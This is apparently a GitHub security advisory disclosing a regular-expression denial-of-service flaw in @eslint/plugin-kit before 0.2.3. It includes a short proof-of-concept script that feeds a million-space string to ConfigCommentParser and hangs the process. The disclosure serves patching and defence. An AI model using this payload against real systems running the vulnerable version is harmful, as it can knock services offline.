GHSA-7q7g-4xm8-89cq
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @eslint/plugin-kit | < 0.2.3 | 0.2.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
## POC
```js
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
```
References
External links from the advisory. They lead to third-party sites.